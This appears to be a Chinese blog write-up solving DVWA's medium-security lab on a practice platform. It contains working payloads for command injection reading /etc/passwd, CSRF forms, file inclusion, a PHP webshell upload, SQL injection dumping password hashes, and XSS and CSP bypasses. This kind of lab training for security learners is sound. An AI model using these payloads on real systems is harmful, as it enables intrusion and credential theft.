谜团靶机writeup - DVWA-中等级靶场通关指南

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

谜团靶机平台地址:https://mituan.zone/

选择靶机

初始化靶场,此次选择DVWA中等级靶场。
在这里插入图片描述

Brute Force

跟初级相比进行了mysqli_real_escape_string的过滤,因此无法注入,只能暴力了。
在这里插入图片描述
发现payload为password的时候,返回长度与众不同。
在这里插入图片描述

Command Injection

与初级相比限制了某些符号而已,况且初级靶场也没有使用啊。
在这里插入图片描述
输入:127.0.0.1 | cat /etc/passwd
在这里插入图片描述

CSRF

与初级相比增加了stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]),这里就修改文件头的方式伪造referer吧,但是实际中总不能让受害者自己来改包吧,而且通过前端的语言是无法伪造referer的(旧版本的flash可以伪造,不过我没有实际测试过),所以使用referer验证的方式还是可以很大程度上防御CSRF。
抓包制作CSRF Poc的方式同初级的那个方法,只是在访问受害页面的时候,抓包修改了referer。

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="admin123" />
      <input type="hidden" name="password&#95;conf" value="admin123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

在这里插入图片描述
注:有人说将页面命名为559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone.html就可以绕过了,但是本人没有成功。

File Inclusion

在这里插入图片描述
http可以采取大小写或者双写的方式进行绕过,绝对路径的文件包含不受影响。

  • page=/etc/passwd
  • page=hTTp://www.baidu.com
  • page=hthttp://tp://www.baidu.com
    在这里插入图片描述

File Upload

通过查看代码发现只检查了类型以及大小,并没有对后缀进行检查,所以就上传图片马喽。
在这里插入图片描述
上传文件的时候进行抓包,然后修改文件名(好像只能解析php,初级靶场上传的pHp是无法解析的)。
在这里插入图片描述
访问上传文件后的地址:http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone/hackable/uploads/shell.php?8=phpinfo();
在这里插入图片描述

Insecure CAPTCHA

POST传参给下面的5给变量。
在这里插入图片描述
step=2&Change=Change&password_new=admin123456&password_conf=admin123456&passed_captcha=true
在这里插入图片描述
重新登录发现密码已经修改为admin123456 了。

SQL Injection

在这里插入图片描述
输入id=1'"&Submit=Submit,发现进行了过滤,那就用16进制字符串避免输入引号。
在这里插入图片描述

  • 判断注入点:id=1 and 1=1&Submit=Submit
  • 判断字段数:id=1 order by 2&Submit=Submit
  • 判断表名:id=1.1 union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit
  • 判断字段名:id=1.1 union all select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273&Submit=Submit 字符串转16进制参考网站:http://tool.leavesongs.com/
  • 查询数据:id=1.1 union all select 1,group_concat(concat_ws(0x3a,user,password)) from users&Submit=Submit,然后进行MD5解密就可以。
    在这里插入图片描述

SQL Injection (Blind)

  • 判断注入点:id=1 and 1=1&Submit=Submit
  • 判断第一个表长度:id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5&Submit=Submit
  • 判断第一个表第一个字母:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117&Submit=Submit
  • 剩下的参考低等级靶机,不过其中的字符串要转成16进制。
    在这里插入图片描述

Weak Session IDs

dvwaSession的值为当前的时间戳而已,还不会利用这个,一些资料上也没有看明白。
在这里插入图片描述

XSS(DOM)

在这里插入图片描述
查看源码发现,不允许标签触发,所以要做的就是跳出标签。
在这里插入图片描述
右键查看源代码,发现存在decodeURI函数。
在这里插入图片描述

  • http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone/vulnerabilities/xss_d/?default=English</option></select><img src=# onerror=alert('谜团靶机')>(闭合)
    • http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone/vulnerabilities/xss_d/?default=English&script=<script>alert(1)</script>(参数)
  • http://559f911d2aad4e9b9adeec1fdb7c0b19.app.mituan.zone/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>(锚点)
    在这里插入图片描述

XSS(Reflected)

在这里插入图片描述
查看代码发现可以大小写或者双写绕过。

  • <scr<script>ipt>alert('谜团靶机1')</script>
  • <sCrIpT>alert('谜团靶机2')</script>
    在这里插入图片描述

XSS(Stored)

在这里插入图片描述
查看源码发现Message有实体转义,所以就测试name吧,发现长度有限制,那就修改前端代码绕过限制。
在这里插入图片描述

  • <scrIpt>alert('谜团靶机3')</script>
  • <scr<script>ipt>alert('谜团靶机4')</script>
    在这里插入图片描述

CSP Bypass

在这里插入图片描述
如果你担心内联脚本的JS注入,但是又需要内联JS的执行。可以使用nonce属性。CSP Header会返回一个随机字符串(固定字符串就会被利用喽),当它与script标签的nonce属性相匹配时,说明这段内联的js是安全的,是可以执行的。
输入:<script nonce=TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=>alert('谜团靶机')</script>
在这里插入图片描述

JavaScript Attacks

输入success提示token不对。
在这里插入图片描述
查看提示代码,寻找token。
在这里插入图片描述
先输入success,然后在console中执行do_elsesomething("XX"),最后点提交。
在这里插入图片描述

销毁靶机

用完之后及时销毁靶机。
在这里插入图片描述

参考:
三角地安全

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值